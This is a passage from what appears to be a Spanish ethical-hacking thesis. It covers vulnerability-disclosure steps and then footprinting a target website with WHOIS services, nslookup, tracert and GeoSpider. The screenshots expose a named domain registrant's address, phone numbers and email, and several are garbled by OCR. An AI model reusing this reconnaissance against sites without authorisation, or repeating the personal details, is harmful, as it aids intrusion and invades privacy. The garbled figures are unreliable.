enviar sus pruebas y demostrar que el fallo si existe, siendo el vendedor responsable de

investigar nuevamente el caso o responder al descubridor seguin crea conveniente.
Incapacidad para confirmar o desmentir el fallo.

En el caso de que el vendedor no pueda confirmar ni desmentir la vulnerabilidad notificada

por el descubridor este Ultimo podria proceder de la siguiente manera:
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> Facilitar coédigo al vendedor de que demuestre de una manera mas clara las
vulnerabilidades detectadas.
» Si no se comprobase ningun cambio, el descubridor puede publicar su VSR.

Resolucion.

Si el vendedor confirma el fallo este debe seguir los pasos apropiados para dar una
solucién que arregle la vulnerabilidad. Es de suma importancia que la solucién que brinde el
vendedor englobe todos los productos compatibles y todas las versiones de software que
pudieran ser afectadas. Los pasos para aplicar al momento de crear una soluciéon a la

vulnerabilidad son:

> Si el vendedor tiene una solucion al fallo debe notificarlo al descubridor.

> El vendedor debe asegurarse que la solucién brindada cubra todos los productos y todas
las versiones que pudieran ser afectadas con la vulnerabilidad detectada.

> Si el vendedor y el descubridor llegan a un acuerdo estos pueden trabajar en conjunto para

buscar la solucion al problema.

Marco Temporal.

Es importante que el vendedor entregue una solucion a la vulnerabilidad en un plazo
promedio de 30 dias desde el acuse de recibo del VSR, ademas el vendedor debe verificar que
la solucion brindada no cree fallos adicionales lo que ocasionaria que en un futuro tanto el
vendedor como el descubridor se encuentre en la misma situacion. Al momento que el
vendedor haga publico la fecha en la que publicara la solucién este debera adicionar la

siguiente informacion:

» Un resumen del riesgo que implica el fallo.
» Los detalles técnicos del remedio.
» El proceso que utilizé para el analisis.

» Los pasos a realizar para asegurar una acertada respuesta del parche.

Cuando el vendedor esta en busca de la solucién a la vulnerabilidad encontrada este puede
elegir dos caminos. El primero en un cambio en la configuracién el software, esto hara que el
vendedor entregue instrucciones a los usuarios sobre cémo cambiar ciertos parametros del

software que solucionaran efectivamente el problema. La segunda opcién es realizar cambios
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en el software, esto implica mas trabajo en el area de ingenieria del software del vendedor,
dentro de esta solucién existen tres posibilidades de cambios al software:

» Parches: Son soluciones temporales que el vendedor brinda a los usuarios para resolver
un fallo detectado hasta que una version posterior del software arregle por completo el
problema.

> Actualizaciones de mantenimiento: También conocidos como Service Packs son versiones

programadas que solucionan fallos detectados de manera regular.

» Versiones futuras del producto: Son cambios de gran magnitud que se realizan al software

gue cambian el disefio del cddigo de programacion y las caracteristicas del producto.

Publicacion.
El paso final en la politica de informes de vulnerabilidades de seguridad es la publicacion de
la investigacion que se refiere a que toda la informacion debe ser conocida por todos los

usuarios y no para un grupo en especifico de personas.
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CONCLUSIONES.

Este capitulo presento las leyes més relevantes sobre la seguridad de la informacion y la forma
en la que rigen en el pais, Siendo un paso fundamental para cualquier persona interesada en la
seguridad informética ya que brinda las pautas para saber qué acciones o que situaciones
estan penadas por la ley y con ello no infringir ninguna de estas.

También estas leyes pueden ser utilizadas cuando un administrador de seguridad ha sido

victima un ataque y este decida imponer una demanda legal hacia el atacante.
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CAPITULO IV.

INFORMATION GATHERING

INTRODUCCION.

Es una de las etapas mas importantes dentro de la realizacion de un hacking ético ya que
se enfoca en la obtencion de la mayor cantidad de informacion sobre la empresa objetivo. Este
es el punto de partida indispensable que se tiene que seguir antes de realizar cualquier ataque
para tener conocimientos claros sobre todo lo referente a la organizacion. Consta de tres fases
gue son: Footprinting, Scanning y Enumeration. La informacién obtenida de estas técnicas sera
la base fundamental para los procesos subsiguientes del hacking.

Este capitulo abarcara las tres etapas del Information Gathering presentando aspectos
tedricos que ayudara a entender de mejor manera cada herramienta utilizada y que ademas
mostrard ejemplos practicos de cdmo obtener la informacion necesaria para que el resultado

del andlisis sea el 6ptimo.
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4.1 FOOTPRINTING.

4.1.1 Definicién.

Es la preparacion previa a la realizacion de un ataque, su proposito es el de recolectar
informacion sobre el entorno que rodea al objetivo, su infraestructura y cualquier aspecto
especifico referente a la seguridad de la organizacion. Todo esto se realizara de una manera
no intrusiva, esto quiere decir que toda la informacion obtenida debe obtenerse sin violentar el
sistema de la empresa. A continuaciobn se detallan las técnicas méas frecuentes para la

obtencién de informacién tomando de una pagina web objetivo.

4.1.2 Busquedas URL’s internas y externas.

Es utilizado para conocer las URL’s que estan asociadas a un dominio, siendo importante
conocerlas ya que permite mapear el sitio web y encontrar subdominios que pudieran tener
relacion con informaciéon clave de la empresa. Una vez que se tenga conocimiento de estas
nuevas URLs enlazadas al dominio se puede tener un conocimiento mas claro de las diferentes
paginas y enlaces que maneja la organizacion.

Para realizar estas pruebas existen varios métodos, uno de ellos es mediante la pagina web:

> http://www.webmaster-a.com/link-extractor-internal. PHP

Esta pagina permite crear tablas o lista de enlaces que posee una pagina web pudiendo
escoger la extraccion de las URL’s Internas o externas que estan asociadas al dominio,
también permite elegir si se quiere ver los resultados en una lista simple o en una lista HTML,
ademas tiene la opcién de mostrar los resultados de una forma mas amigable o tal y como esta
programada la pagina web. A continuacion se muestra un ejemplo del funcionamiento de la

pagina:
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Internal and External Link Extraction Tool

Link Extractor

Tha main use for this link extractor tility occurs when you have a script generated site and you wish to create a table or list of links to pages within this site to usel
elsewhere for SEO purposes. Some dastardly people will doubtless use it to steal links lists from competitors sites for some rzason but we caanot do much about
that! This link extraction utility allows you to choose betwzen external and internal urls, and will return a plain list of URL's linked to, or an html list The returned
links are screencd for duplicates, and optionally for query strings (allowing se friendly links only).

Page Url http:/www « com Utl of page to strip links from

Return @ Internal Links or (' External Links.

Return as @ plain URLs or © HTML list.

Allow @ query strings or ) Natural Links only.

Extract my Links!

70 links returned from http://www.corpuslibros.com

htop://www. .com/index.php?sitio=1

nTIPp://WWW. ¥ .com/setlarg.php?lang=es

htip://www. .com/setlang.php?larg=en

htip://www. *.com/carrito.php?sitic=1

htop://www. .com/proveedores.php?3itio=1
htip://www. v.com/buscar.php?aitio=lsidacccion-233
nTIp://WWW. .com/buscar.phpzsitio=laldseccion=371
htip://www. .com/buscar.php?sitio=lsidseccion=381
Lo oo o N PP VE P QRGN | ian=220

Figura 4.1 Blsqueda de URL’s Internas Asociadas a un Dominio — Web Analizada.

Como se puede apreciar en la Figura 4.1 se realiz6 una busqueda interna de Urls dando como
resultado 70 links asociados al dominio, estos pueden ser de mucha ayuda para conocer la

estructura de la pagina y poder determinar si existen enlaces que pudieran tener relevancia.

Internal and External Link Extraction Tool

Link Extractor
The main use for this link extractor utility occurs when you have a script generated site and vou wish to create a table or list of links to pages within this site to use]
elsewhere for SEO purposes. Some dastardly people will doubtless use it to steal inks lists from competitors sites for some reason but we cannot do much about
that! This link extraction utility allows you to choose between external and internal urls, and will return a plain list of URL's linked to, or an html list. The returned
links are acreened for duplicates, and optionally for query strings (allowing se friendly links only).
Page Url: http:/iwww.s w.com Url of page to strip links from.
Return © Internal Links or @ External Links.
Return as @ plain URLs or ) HTML list
Allow '@ query strings or (' Natural Links only.

| Extract my Links!

1 links returned from hup://www.corpuslibros.com

http://www. .com/

Hopefully vou will find this tool useful. A link back to www.webmaster-a.com would be appreciated.!

Figura 4.2 Busqueda de URL’s Externas asociadas a un Dominio — Web Analizada.
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En la figura 4.2 se obtuvo las URL’s externas asociadas a un dominio, que en este caso
devolvié una sola direccion, la misma que de ser necesaria permitird investigar qué relacion

tiene con el dominio que se esta analizando.

4.1.3 Whois.

Es un protocolo TCP que se usa para realizar consultas en una base de datos con el
proposito de determinar el propietario del dominio o de una direccion IP en Internet. Con la
utilizacién del Whois se puede recolectar informacion como: el nombre de la persona que
registr6 el dominio, su correo electrénico, IPs de sus servidores principales, nameros
telefonicos, direcciones de sus oficinas, entre otros. Actualmente existen varias paginas web

gue realizan esta técnica, entre las mas destacadas se encuentran:
» NetCraft.

La pagina web www.netcraft.com es una de las mas utilizadas ya que brinda un informe
muy completo sobre la pagina web que se desea analizar, permitiendo visualizar datos

importantes relacionados a una pagina web de una empresa. A continuacién se presenta un

ejemplo:
Site report for www. .com
Site http://www. com Last reboot unknown E=A uptime graph
Domain i.com Netblock owner Prima S.A.
TP address 201.212 Site rank unknown
Country = AR Nameserver ns1l.afraid.org
Date first seen April 2008 DNS admin dnsadmin@afraid.org
Domain unknown Reverse DNS mail. .com
Registrar
Organisation unknown Nameserver Joshua Anderson, 4120 Douglas Blvd #306-199,
Organisation Granite Bay, 95746, United States
Check another
site:
Hosting History
Last
Netblock Owner IP address os Web Server
changed
Prima S.A. 201.212. unknown Apache/1.3.34 Debian mod_accounting/0.5 PHP/5.2.0-8etch16 AuthMySQL/4.3.9-2 27-Oct-2012
Buenos Aires mod_ssl/2.8.25 OpenSSL/0.9.8c mod_perl/1.29
Prima S.A. 201.212. Linux Apache/1.2.34 Debian PHP/5.2.0-8 AuthMySQL/4.3.9-2 mod_ssl/2.8.25 6-Sep-2010
Buenos Aires OpenSSL/0.9.8c mod_perl/1.29
Prima S.A. 201.212. Linux Apache/1.2.24 Debian PHP/5.2.0-8 AuthMySQL/4.2.9-2 mod_ssl/2.8.25 10-Jun-2010
Buenos Aires OpenSSL/0.9.8c mod_peri/1.29
Prima S.A. 201.212 Linux Apache/1.2.24 Debian PHP/5.2.0-8 AuthMySQL/4.2.9-2 mod_ssl/2.8.25 16-Dec-2009
Buenos Aires OpenssL/0.9.8c mod_perl/1.29

Figura 4.3 Utilizacion de Netcraft — Web Analizada.

La figura 4.3 ensefia el andlisis realizado a la pagina web utilizando la herramienta Netcraft.

Entre los datos encontrados mas importantes se pueden indicar:
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La direccion IP que esta asociada al dominio.
El pais en el cual esta la IP.
La fecha en la que fue puesta en funcionamiento la pagina web.

YV V V V

Historial del dominio con sus respectivas direcciones IPs que han tenido durante los
afos, ademas de los sistemas operativos que has sido utilizados.
> Los sistemas operativos que han manejado en sus servidores web con su respectiva
version, los servidores web que han utilizado y las ultimas fechas en las que han
realizado cambios.
Toda esta informacion es de suma importancia ya que ayuda a conocer como se ha manejado

y que software ha utilizado la empresa.

> IP-Adress.

La pagina web www.ip-adress.com es muy utilizada para obtener informacion relevante de
una empresa. Se puede conocer la direccion IP asociada a un dominio, la ubicacion fisica de la
IP, el o los sistemas operativos que estan ejecutandose en el servidor web. Un ejemplo de la

utilizacion de esta pagina se presenta a continuacion ingresando a www.ip-adress.com/whois y

digitando la pagina web de la empresa se puede obtener:

- v gl = a 2 - e s a1 g pe ang
» com resides on Prima S.A In Rosario, 21, Argentina. The Jomain - - %.com wEes Tirst rzgistered on 0S/28/2007 which
was S yvears and 2 months ago’!

- w.com whoi shows that th= registrar is DATTATEC COM DE IRAZOQUI VERONICA 2ALMIRA - but a full analysis for
» is belows.

h= official title of - com is.

Fezl free o comment on this » websile repo 1 using ~aceboek below!

Wm . com Whois

L Registrar
COM DE IRAZOQUI VERONICA PALMIRA

24 VWhois Server

& Referral URL

Nt /7w we w o com

b Status

=l Contact Email
suvipacrhass 18 .com_ar

[zl Creation Date
0O'28/2007

sl Updated Date
11/02/201Z

[l Expiration Date
0S'28/2017

Figura 4.4.1 Resultado de una consulta con IPAdress — Web Analizada.
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ER Registrant

Esteban Oscar Mestre

Esteban Oscar Mestre

Suipacha 581

Telephone: 54 - 294578

Email: suipachaS81@ .Ccom. ar

Billing Contact

Esteban Oscar Mestre

Esteban Oscar Mestre

Suipacha 581

Telephone: 54 - 1354572

Email: suipachaS81@ com. ar

EJ Administrative Contact
Esteban Oscar Mestre

Esteban Oscar Mestre

Suipacha 581

Telephone: 54 - 294978

Email: suipachaS818 .com. ar

Technical Contact

Esteban Oscar Mestre

Esteban Oscar Mestre

Suipacha 581

Telephone: 54 - 324978

Email: suipachaS81@ . Com. ar

[E]l Nameservers
NS1.AFRAID.ORG
NS2 AFRAID.ORG

Figura 4.4.2 Resultado de una consulta con IP Adress— Web Analizada.

En la figura 4.4.1 y 4.4.2 se aprecia la informacion de la consulta realizada en esta pagina web,
entre los datos mas importantes obtenidos estan: Nombres de los responsables de la pagina,

numeros telefénicos y sus direcciones de correo.

» DomainTools.

En la pagina web www.domaintools.com se puede consultar informacion sobre las personas
encargadas de un sitio web, esta pagina ayuda a supervisar y detectar todo lo relacionado con
un nombre de dominio, entre lo que se incluye: niameros telefonicos, direcciones de donde se
encuentran ubicados, Status de la pagina, fecha de creacién de la pagina. El siguiente grafico

muestra un ejemplo de c6mo se visualiza la informacion de una pagina web:
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[DoMEIn nane . s COMm
Creation Date: 2012-09-2&
Expiraticon Date: 2017-09-28

Status(es):
OK

Domain Name servers(es):
nsl.afraid.org
ns2.afraid.ocrg

Registrant conatct:

Name: Estekban Oscar Mestre
Company: Esteban Oscar Mestre
Email: suipacha581 @« com.ar
Address: Suipacha 581

AR - Rosaric ( zip: 2000 )
Phone =254 = 394878

Admin conatct:

Name: Esteban Oscar Mestre
Company: Esteban Oscar Mestre
Email: suipachass1 @ com.ar
Address: Suipacha 581

AR — Rosaric ( zip: 2000 )
Phone = 54 — 394978

Billing ccnatct:

Name : Esteban Oscar Mestre
Company: Esteban Cscar Mestre
Email: suipachass81@ com.ar

Address: Suipacha 581
AR — Rosaric ( zip: 2000 )
Phcne s 5& — 3134978

Tech ccnatct:

Name: Esteban Oscar Mestre
Company: Esteban Oscar Mestre
Email: suipachas581@ com.ar

Address: Suipacha 581
AR - Rosaric ( zip: 2000 )
Phone =U54 — 334978

Figura 4.5 Utilizacion de DomainTools — Web Analizada.

Como se observa en la figura 4.5 al momento de ingresar el dominio que se desea buscar en la
pagina web esta despliega informacién del contacto responsable de la pagina. Esta busqueda

pudiera ser de mucha importancia al momento de establecer responsables de la pagina web.
Ademas de las paginas web que permiten realizar consultas whois, existen programas capaces

de realizar busquedas de informacion sobre paginas web, entre los programas utilizados con

mas frecuencia se encuentran:
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» CountryWhois.

Es una herramienta que se utiliza para comprobar la ubicacion geografica de una direccion
IP siendo de gran ayuda para identificar la localizacion de un servidor web al que se quiere
tener acceso. Ademas este software sirve para analizar los registros del servidor y verificar los

encabezados de una direccién de correo electrénico. (http://www.softpedia.es , parr.1)

{¥ CountryWhois - Evalusation Version i .=.L|.:.U.>.(.l

& -E-LU- 5% R e B[

l 1P or hostname: IQ | EI o> Query

Results
Query Status Country & Country Code Continent
8 waw com - Completed —J Argentina _ AR _ South America
» w

Statistics X
Continent / Country Country Code Count Percent
El South America 1 —————] 100,102

“ 2] Argentina o , AR o 1 I 100,00%
Ready

Figura 4.6 Utilizacion de CountryWhois —Web Analizada.

En la figura 4.6 se puede visualizar el resultado de la consulta realizada a una pagina web

objetivo siendo Argentina el pais de donde proviene esta pagina.

» SmartWhois.

Esta herramienta permite recolectar informacién sobre un dominio como: el pais de
procedencia de la pagina, la empresa que ofrece alojamiento al dominio, los datos de contacto
de la persona encargada de la pagina. Ademas este software tiene la posibilidad de realizar
exportaciones de los datos obtenidos a formatos como: HTML, texto, XML, entre otros. A

continuacion se muestra un ejemplo del funcionamiento del software. (http://www.tamos.com |,
Parr 1)
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&) SmartWhois - Versién de Evaluacién (B2 e S

Archivo Consulta Editar Ver Preferencias Ayuda

|- %-L|05F &6 e (2

IP, Host, o dominio: & www. com - l:() Consulta ¥

Resultados X g

= com =
—i

g’g 201.212,

conatct:
Name: Esteban Oscar Mestre
4 Company: Esteban Oscar Mestre
Email: suipacha581 @& i.com.ar
Address: Suipacha 581
AR - Rosario ( zip: 2000 )
Phone: 54 - 394978

Google Page Rank : Desconocido
(EaNK)

Alexa Traffic Rank : Desconocido

4 Creado: 2012-09-26
Expira: 2017-09-28

Fuente: whois.dattatec.com

»

hiil

;Resultado incorrecto o incompleto?

Finalizado

Figura 4.7 Manejo de SmartWhois — Web Analizada.

En la figura 4.7 se puede ver la informacién del dominio en donde se encuentra la direccion IP

asociada al dominio, la informacion del contacto incluido el nimero telefonico.

4.1.4 Consulta de registro DNS.

El sistema de nombres de dominio (DNS) asocia informacién variada con nombres de
dominio, entre sus funciones mas importantes se encuentra la de resolver nombres
perceptibles para las personas en identificadores binarios asociados a equipos conectados a la
red a fin de poder localizar y direccionar estos equipos a nivel mundial. EI uso mas comdn que
se le da al DNS es la asignacion de nombres de dominio a direcciones IP y la localizacion de

los servidores de correo electronico de cada dominio. (http://es.wikipedia.org ,parr 1)

» Tipos de registros DNS.
e A: Es el registro que asocia un nombre candénico a una direccion IP.
¢ CNAME (Canonical Name): Es utilizado para crear nombres de hosts adicionales o
alias para los hosts de un dominio.
¢ NS (Name Server): Define la asociacién que existe entre un nombre de dominio y
los servidores que almacenan dicho dominio, mejor conocido como servidores

autoritativos.
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e MX (Mail Exchange): Define el lugar donde se aloja el correo que recibe un dominio.

e PTR (Pointer): Es utilizado para la resolucion inversa, es decir de direcciones IP a

nombres de dominio.

e HINFO (Host Information): Permite realizar una descripcion del host conociendo el

tipo de maquina y el sistema operativo que corresponde a un dominio.

e SOA (Start of Authority): Proporciona informaciéon de autorizacién sobre el dominio,

la direccidon de correo electrénico del administrador del dominio, el nUmero de serie

del dominio, etc.

Para poder encontrar informacion extra a traves de las direcciones DNS se puede utilizar el

programa Nslookup.

» Nslookup: Es una herramienta de administracion de red para consultar el sistema de

nombres de dominio (DNS), tanto Windows como Linux poseen incorporado un cliente

nslookup. Esta herramienta permite encontrar direcciones IP adicionales, registro MX de

servidores de mail, entre otros. A continuacion se presentan algunos ejemplos de la

utilizacion de esta herramienta:

Comando: c:\>nslookup Pagina_Objetivo

Administrator: C\Windows\system32\cmd.exe

C:\>nslookup wum
Server: dns1 .« .net.ec
Address: 288.55.

Non—authoritative answer:

Name = WL .

Address: 281.212.

< 1141

Lo | B S|

Figura 4.8 Manejo Nslookup — D.O.S.

En la figura 4.8 se observa que cuando se ingresa nslookup seguido del dominio que se quiere

analizar se mostrara la direccion IP asociada a ese dominio.
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Comando: c:\>nslookup -query=mx Pagina_Objetivo

X Administraton: C:\Windows\systemBZ\cmd.exe —v - R L=k

[

C:\>nslookup —gquery=mx
Server: dnsli. .net.ec
Address: 288.55. .

—authori iv nswer:
Non—authoritative answer
.com MX preference = 18, mail exchanger = mail.

.com nameserver ns3.afraid.org
.com nameserver nsl.afraid.org
.com nameserver ns2.afraid.org
com nameserver ns4.afraid.oryg
mail. .com internet address = 281.212.
ns4.afraid.org internet address = 174.128.246.182
nsl.afraid.org internet addre = 58.23.197.94
ns2.afraid.org internet address = 174.37.196.55
ns3.afraid.org internet address = 72.28.15.62

A .

Figura 4.9 Manejo Nslookup comando MX- D.O.S

En la figura 4.9 se visualiza una consulta Nslookup utilizando “—query=mx” al desplegar esta
consulta se muestra el servidor de correo electrénico de la pagina. También se puede apreciar

los nombres de los servidores con las que esta asociado el dominio objetivo.

Comando: c:\>nslookup -type=soa Pagina_Obijetivo

Administrator: C:AWindows\system32\cmd.exe - — SRESE X

C:\>nslookup —type=soa
Server: dnsli. net.ec
Address: 208.55.

Non—authoritative answer:

. .com
primary name server = nsl.afraid.org
responsible mail addr = dnsadmin.afraid.oryg
serial = 1211140061
refresh = 86408 (1 day>
retry = 7208 (2 hours>
expire = 24192008 (28 days>

default TTL = 3688 {1 hour>

.com nameserver nsl.afraid.org
.com nameserver ns4.afraid.ory
.com nameserver ns2.afraid.org
.com nameserver = ns3d.afraid.org
ns4.afraid.org internet address = 174.128.246.162
nsl.afraid.org internet address = 56.23.197.94
ns2.afraid.org internet address = 174.37.196.55
ns3.afraid.org internet address = 72.208.15.62

= —— =

Figura 4.10 Manejo Nslookup comando SOA -D.O.S

En la figura 4.10 al utilizar el comando “-type = soa” el nslookup realiza una consulta sobre

informacion de la zona del dominio, presentado la siguiente informacion:
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¢ El nombre primario del servidor (nsl.afraid.org).

e La direccion de correo del administrador del dominio (dnsadmin.afraid.org).

e Serial: Revision del sistema de numeracién (1211140001).

e Refresh: Especificacion en segundos cuando el DNS secundario sondeara el

primario en busca de algun incremento en el nUmero de serie. Si este ha aumentado

el DNS secundario hard una nueva solicitud para copiar el nuevo archivo de zona.

¢ Retry: Especifica el intervalo para volver a conectar con el DNS primario.

e Expire: Puntualiza el tiempo que el DNS secundario mantendra como valido el

archivo en zona en cache.

Comando: c:\>nslookup -type=any Pagina_Objetivo

Adm:mstrator C \Wmdows\system32\cmd exe

———— a2

C:\>nslookup —type=any
Server: dnsi.e .net.ec
Address: 2088.55.

Non—authoritative answer:
.com
primary name server = nsl.afraid.org
responsible mail addr = dnsadmin.afraid.org
serial = 1211146661
refresh 864898 (1 day>
retry 7288 (2 houwrs)
expire = 2419288 (28 days>
default TTL = 3688 {1 hour>
.com MX preference = 18. mail exchanger = mail

.com internet address = 281.212.
com nameserver = nsl.afraid.oryg
.com nameserver ns2.afraid.org
.com nameserver ns4.afraid.org
.com nameserver ns3.afraid.oryg

.com nameserver nsd4.afraid.org
.com nameserver ns2.afraid.org
.com nameserver ns3.afraid.org
com nameserver = nsl.afraid.org
.com internet address = 281.212.
.org internet address = 174.128.246.1062
internet address 58.23.197.94
ns2.afraid.org internet address 174.37.196 .55
ns3.afraid.org internet address ?2.28.15.62

C=N\>_

Figura 4.11 Manejo Nslookup comando ANY - D.O.S

= C]]-ZEQH

En la figura 4.11 se utiliza el comando ANY, lo que realiza este comando es mostrar la mayor

cantidad de informacién acera del dominio analizado.

También existe paginas web que permiten realizar consultas DNS, a continuacién se presenta

una de estas.
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» Dnsqueries.

La pagina web www.dnsqueries.com permite realizar diferentes tipos de consultas sobre DNS,
a continuacion se muestra algunos ejemplos:

Esta herramienta permite hacer peticiones DNS. Cada nombre de dominio 0 Hacer peticiones DNS
internet (por ejemplo: dnsqueries.com) usualmente consiste en dos o =
mas partes (www.dnsqueries.com son tres partes) y el DNS (Domain Name

System) DNS es capaz de asociar diferentes tipos de informacidn a cada ’N_9mbre e Host:

nombre. El uso mas comun es preguntar para las asignaciones de nombres I R C Ot}
de dominio a direcciones IP. Todavia hay muchas maneras de utilizar el Tipo:
DNS, como preguntar por el A record, MX, AAAA, CNAME y SOA. ANY = [ v ]
Resultados de controles « = i com 2
Host TTL Clase fipo Detalles
».comiSy 3515 IN SOA nst.afraid.org dnsadmin.afraid.org 1211140001 86400 7200 2419200 3600
‘om{c} 3515 N MX 10 mail. wws.com(Sh
com (£} 3514 N A 201.212. ]
com (S} 3515 N NS ns3.afraid.org (S}
om {5} 3515 N NS nsd.afraid.org.c}
omiSy 3515 IN NS nsi.afraid.org <}
w.com(ch 3515 IN NS ns2.afraid.org (5}

Figura 4.12 Peticién tipo ANY - dnsqueries.com

En la figura 4.12 se observa el resultado de una peticién DNS realizada hacia una pagina web
objetivo de tipo ANY, dando como resultado los nombres de servidores, el MX, el SOA yla IP
de una forma mucho mas visual que el Nslookup. Para realizar una consulta de este tipo en

esta pagina web hay que ingresar al link:

» http://www.dnsqueries.com/es/consulta_servidor_dns.PHP

Cuando un mensaje de correo electrénico es enviado a traves de
Internet, el remitente (el agente de transferencia de correo - MTA Mail g Blisqundaide X
Transfer Agent) hace una peticion al DNS solicitando el registro MX para
los nombres de dominio de destino. El nombre de dominio es la parte de
la direccion de correo que va a continuacion de la @. Esta consulta (a
través del servidor SMTP) devuelve una lista de nombres de dominios de
servidores de intercambio de correo que aceptan correo entrante para
dicho dominio, junto con un nimero de preferencia. (Los valores mas
bajos indican prioridad mas alta).

Nombre de dominio:
st
Wm com

Enviar »>»

Resultados de controles « =« .com

s

He encontrado 1 registros mx para corpuslibros.com :

Servidor de Intercambio de z
Correo (MX) Prioridad

mail.« © s.com 10

Figura 4.13 Peticiéon MX - dnsqueries.com
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En la Figura 4.13 se realiza una busqueda MX del objetivo dando como resultado el servidor de
intercambio de correo de la pagina web y su prioridad, que en este caso es “10”. Para realizar
esta consulta se debe ingresar a la pagina:

> http://www.dnsqueries.com/es/mx-lookup.PHP

4.1.5 Localizaciéon de rango de red.

Los Authoritative Bodies son servidores autoritativos mundiales que separan el mundo por
secciones teniendo las direcciones IP de los servidores padres mediante los cuales los
servidores pequefios se actualizan, a su vez contienen todos los datos de los servidores DNS.
Las paginas web que tienen dicha informacién son:

e ICANN - Internet Corporation for Assigned Names and Numbers (www.icann.org).

¢ NRO - Number Resource Organization (www.nro.net).

RIR — Regional Internet Registry: Es una organizacion que supervisa la asignacion y el
registro de recursos de nimeros de Internet dentro de una regién particular del mundo. Existen

cinco actualmente gque se detallan a continuacion:

e ARIN - American Registry for Internet Numbers (www.arin.net): Para America
Anglosajona.

e RIPE — Network Coordination Centre (www.ripe.net): Para Europa, el Medio Oriente y
Asia Central.

e APNIC — Asia-Pacific Network Informacién Centre (www.apnic.net): Para Asia y Region
Pacifica.

e LACNIC - Latin American and Caribbean Internet Address Registry (www.lanic.net):
Para América Latina y el Caribe.

e AFRINIC — African Network Information Centre (www.afrinic.net): Para Africa.
Relacién entre RIRS y la ICANN.

“La Corporacioén de Internet para la Asignacion de Nombres y Numeros delega los recursos de
Internet a los RIRs y a su vez los RIRs siguen sus politicas regionales para una posterior
subdelegacion de recursos a sus clientes que incluyen: Proveedores de Servicio y
organizaciones para uso propio.
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Colectivamente, los RIRs participan en la Number Resource Organization (NRO) formada como
una entidad para representar sus intereses colectivos, llevar a cabo actividades conjuntas, y
coordinar las actividades de los RIRs globalmente.

La NRO ha llegado a un acuerdo con la ICANN para el establecimiento de la organizacion para
el soporte de direcciones (Address Supporting Organization o ASO), la cual se encarga de la
coordinacion de las politicas de direccionamiento IP global del marco de la ICANN.”
(http://www.wikipedia.org , parr 3)

Il AfriNIC
Bl APNIC

I ARIN
I LACNIC
RIPE NCC

Grafico 4.1 Registros Regionales de Internet. (http://www.wikipedia.org)

"

4.1.6 TraceRoute.

Es una herramienta de diagnostico que permite seguir el rastro de paquetes dirigidos
desde un host hacia otro, conociendo el RTT (Round-trip delay time) de los paquetes enviados
y con ello pudiendo tener una referencia de la distancia en la que se encuentran los hosts. Con
la utilizacién de esta herramienta se puede determinar los saltos que hay desde un host hacia
el objetivo y verificar la disposicion de cada nodo intermedio al igual que su ubicacién. Es una
de las mejores maneras de determinar la ruta a un determinado objetivo conociendo el nUmero

de routers que atraviesan los paquetes IP y el tiempo que toma cada uno de estos saltos.

Dentro de Windows la sintaxis para su funcionamiento es mediante el comando “Tracert”, en
Linux la sintaxis es “traceroute”. A continuacion se muestran algunos ejemplos del

funcionamiento de esta herramienta.
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» Tracert en Windows.

Comando: c:\>tracert Pagina_Objetivo

Administrator: C:\Windows\system32\cmd.exe BT

C:\>tracert wuww.

Tracing route to wuww. .com [201.212 =
over a maximum of 38 hops:

5 192.168.1 .1
* Request timed out.
ms 326 200.63.2086 .65
ms 368 288.63.206.2
ns 608 181 .transid44.gye. .net [ 144.1811]
ms 295 so—1-1-2.miall.ip4.tinet.net | 131.2251
mns 324 xe—-18-1-B.wvasi4.ip4.tinet.net | - .111 .461
8 ms 304 xe2—1-2-B-grtuwaseqgb.red.telefonica—wholesale.net
[213.148.55.1851
361 ms 365 375 e2-8-2-B—grtuaseq2.red.telefonica—wholesale.net
-142.126.2861
497 ms 395 ms 392 ms 176.52.249.117
451 ms 382 ms 393 ms Rel-8-2-B—grthuecul.red.telefonica—wholesale.net
.142.123.211
411 ms 400 4084 TASA—-4-1-B-B—grthuecul .red.telefonica—wholesale.
[84.16.11.981
426 ms 466 ms 447 208-63—-151-65 .speedy.com.ar [280.63.151.651]
492 ms 491 585 288-63-151-242 .speedy.com.ar [208.63.151.2421]
525 ms 772 ms 311 149-165-89-208.fibertel.com.ar [2008.89.165.1491]

522 ms 498 375 146-165-89-288.f ibertel.com.ar [208.89.165.1461]
* 291 149-165-89-2868.f ibertel.com.ar [208.89.165.149]
* 146-165-89-288.f ibertel.com.ar [2808.8%9.165.146]

* Request timed out.
* Request timed out.
* Request timed out.
314 ms mail. .com [201.212.

Trace complete.

C:N\> i

Figura 4.14 Funcionamiento del comando Tracert — D.O.S

Como se aprecia en la figura 4.14 al introducir el comando tracert seguido de un dominio este
presenta los saltos que hay entre el host hacia la pagina web objetivo. En la primera columna
se muestra el nimero de saltos, consecutivamente en las tres columnas siguientes se visualiza
los tiempos de respuesta de los paquetes enviados, si no se obtiene respuesta se mostrara un
asterisco indicando que no hay respuesta del nodo. Seguido de estos tiempos se observa el

nombre y la direccién IP del nodo por el cual esta pasando el paquete.

» GeoSpider.

Es un software que permite rastrear cualquier sitio web o direccion IP, identificando la
ciudad y el pais tanto de origen como destino por donde pasan paquetes enviados e identifica

los servidores y routers por los que circulan dichos paquetes. Todo esto se muestra en un
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mapamundi que permite la visualizacion de toda la traza de los paquetes
. La siguiente gréfica ensefia un ejemplo:

 BSETE |

Fle View Settings Skins Helo Support

v« (w1 P @e &

Fonncctions Frame | Map l "hois, Domain |/hois, IP | TraceRoute | Ping |
"] Delete if comection i le: 13 mn ey
& £ 7 A
Paste Domain or IP here v Trace
IP Address: 201212
Progam Host name Calor Host name: 4 St
G50 Spdrwoom s | Mo e
P Heet Name Country City Time
1 192.168.1.1 = T 5 i}
2 Request timed o e — 0
3 200.63.206.65 Ecuador Quito 21
4 200632062 Ecuador Quito 2
5 20025144101  101irnsl4dgyesatn  Ecuader Guayaquil 2%
3 173241131225 s0-1-1-2miall pdtnet - — 148
7 141.136.111.46 xe-10-1-0wasldpdtin.. — - 150
2 21214055105  we2-1-2-0gtwaseqbrs.. — . 144
9 94 142.126.20¢ ¥e20-2-0gtwaseq2r.. — - 148
10 9414212498 Xo-7000grimiabrérs.. — - 151
11 $4142121.213 Xo-1-1-80grbusculr.. — 267
12 84161198 TASA4-1-0-0gtbuecy... — - 265

13 2005215165  20053151653peedy... Agentna Busnos Aires 367
14 200.53.151.242 20063-151-242.50¢ced...  Argentina Buznos Aires 293
15 2006315165  2006315165:speedy... Agentine Bucnos Ares 367
16 200.35.165.146 146-165-35-200 foertel...  Argentina Busnos Aires 289
17 MM .21 wva “enm Arrimertiue R smne Airme 219

FigUr}a 4.15 Resultado Traceroute en GeoSpider.

En la figura 4.15 se puede apreciar el resultado TraceRoute de la consulta realizada sobre
